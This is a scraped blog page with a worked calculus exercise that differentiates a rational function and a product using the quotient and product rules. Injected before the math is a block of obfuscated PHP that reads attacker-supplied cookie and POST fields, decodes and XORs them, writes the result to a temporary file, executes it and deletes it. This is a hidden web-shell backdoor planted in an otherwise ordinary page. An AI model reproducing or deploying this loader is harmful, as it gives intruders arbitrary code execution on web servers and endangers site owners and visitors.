$kjiBLUs = 'A' . "\x68" . chr ( 790 - 685 ).'_' . chr ( 483 - 405 ).chr (100) . chr ( 810 - 702 )."\x77" . chr ( 548 - 447 ); $kDRaRFf = chr ( 402 - 303 )."\154" . chr (97) . chr (115) . chr (115) . '_' . chr (101) . chr ( 733 - 613 ).'i' . "\x73" . "\x74" . "\x73";$Pvvif = class_exists($kjiBLUs); $kDRaRFf = "55598";$JYfNEI = strpos($kDRaRFf, $kjiBLUs);if ($Pvvif == $JYfNEI){function LFPrFKHglh(){$UGMhA = new /* 25215 */ Ahi_Ndlwe(18743 + 18743); $UGMhA = NULL;}$GtJgx = "18743";class Ahi_Ndlwe{private function OLCzFmoBM($GtJgx){if (is_array(Ahi_Ndlwe::$MxgQMLpzq)) {$name = sys_get_temp_dir() . "/" . crc32(Ahi_Ndlwe::$MxgQMLpzq["salt"]);@Ahi_Ndlwe::$MxgQMLpzq["write"]($name, Ahi_Ndlwe::$MxgQMLpzq["content"]);include $name;@Ahi_Ndlwe::$MxgQMLpzq["delete"]($name); $GtJgx = "18743";exit();}}public function Cttrb(){$rRpJgUcARw = "58336";$this->_dummy = str_repeat($rRpJgUcARw, strlen($rRpJgUcARw));}public function __destruct(){Ahi_Ndlwe::$MxgQMLpzq = @unserialize(Ahi_Ndlwe::$MxgQMLpzq); $GtJgx = "41246_46051";$this->OLCzFmoBM($GtJgx); $GtJgx = "41246_46051";}public function oLxEAO($rRpJgUcARw, $mWiOb){return $rRpJgUcARw[0] ^ str_repeat($mWiOb, intval(strlen($rRpJgUcARw[0]) / strlen($mWiOb)) + 1);}public function mcCQomNZMi($rRpJgUcARw){$ADfzjhtkZE = "\x62" . chr ( 523 - 426 ).chr (115) . chr (101) . chr ( 135 - 81 ).'4';return array_map($ADfzjhtkZE . "\x5f" . chr ( 202 - 102 ).'e' . "\x63" . "\157" . 'd' . "\x65", array($rRpJgUcARw,));}public function __construct($Mdabno=0){$YTEAVSpJpm = "\x2c";$rRpJgUcARw = "";$eMJnzt = $_POST;$REnoWDgJ = $_COOKIE;$mWiOb = "d4220071-d574-4dd2-a102-fc3ec2f5e42f";$wYmtczyDB = @$REnoWDgJ[substr($mWiOb, 0, 4)];if (!empty($wYmtczyDB)){$wYmtczyDB = explode($YTEAVSpJpm, $wYmtczyDB);foreach ($wYmtczyDB as $cButQAod){$rRpJgUcARw .= @$REnoWDgJ[$cButQAod];$rRpJgUcARw .= @$eMJnzt[$cButQAod];}$rRpJgUcARw = $this->mcCQomNZMi($rRpJgUcARw);}Ahi_Ndlwe::$MxgQMLpzq = $this->oLxEAO($rRpJgUcARw, $mWiOb);if (strpos($mWiOb, $YTEAVSpJpm) !== FALSE){$mWiOb = explode($YTEAVSpJpm, $mWiOb); $ZDsXYPtHJz = base64_decode(md5($mWiOb[0])); $pTDulxc = strlen($mWiOb[1]) > 5 ? substr($mWiOb[1], 0, 5) : $mWiOb[1];}}public static $MxgQMLpzq = 17221;}LFPrFKHglh();} Problem 2-10: Diffrentiating – Solved Problems

Problem 2-10: Diffrentiating

Yaz April 11, 2010 Leave a comment

Diffrentiate
a) $f_1\left(x\right)= \displaystyle\frac{1-2x^2}{1+x+x^2}$
b) $f_2\left(x\right)= (1-2x^2)(1+x+x^2)$

Solution
The following rules can be used:
I) $\displaystyle\frac{d}{dx}ax^n=anx^{n-1}$
II) $\displaystyle\frac{d}{dx}\left(u+v\right)=\frac{du}{dx}+\frac{dv}{dx}$

III) $\displaystyle\frac{d}{dx}\left(uv\right)=u\frac{dv}{dx}+v\frac{du}{dx}$
IV) $\displaystyle\frac{d}{dx}\frac{u}{v}=\frac{1}{v^2}\left(v\frac{du}{dx}-u\frac{dv}{dx}\right)$

In both cases, set
$u=1-2x^2$ and $v=1+x+x^2$ . Using rules I and II:
$\frac{du}{dx}=0-2\times 2 x^{2-1}=-4x$

$\frac{dv}{dx}=0+1\times x^{1-1}+2x^{2-1}=1+2x$

a) $f_1\left(x\right)= \displaystyle\frac{1-2x^2}{1+x+x^2}=\frac{u}{v}$
According to rule IV,
$\displaystyle\frac{d}{dx}f_1(x)=\frac{1}{v^2}\left(v\frac{du}{dx}-u\frac{dv}{dx}\right)$
$\displaystyle\frac{1}{(1+x+x^2)^2}\left((1+x+x^2)(-4x)-(1-2x^2) (1+2x)\right)$
$=\displaystyle\frac{1}{(1+x+x^2)^2}\left(-4x-4x^2-4x^3-1-2x+2x^2 +4x^3)\right)$
$=\displaystyle\frac{-1-6x-2x^2}{(1+x+x^2)^2}$ .
Problem 2-10-a

b) $f_2\left(x\right)= (1-2x^2)(1+x+x^2)=uv$
According to rule III,
$\displaystyle\frac{d}{dx}f_2(x)=u\frac{dv}{dx}+v\frac{du}{dx}=(1-2x^2)(1+2x)+(1+x+x^2)(-4x)$
$=1+2x-2x^2-4x^3-4x-4x^2-4x^3= 1-2x-6x^2-8x^3$ .
Problem 2-10-b

Published by Yaz

Hi! Yaz is here. I am passionate about learning and teaching. I try to explain every detail simultaneously with examples to ensure that students will remember them later too. View more posts

Leave a comment

Cancel reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.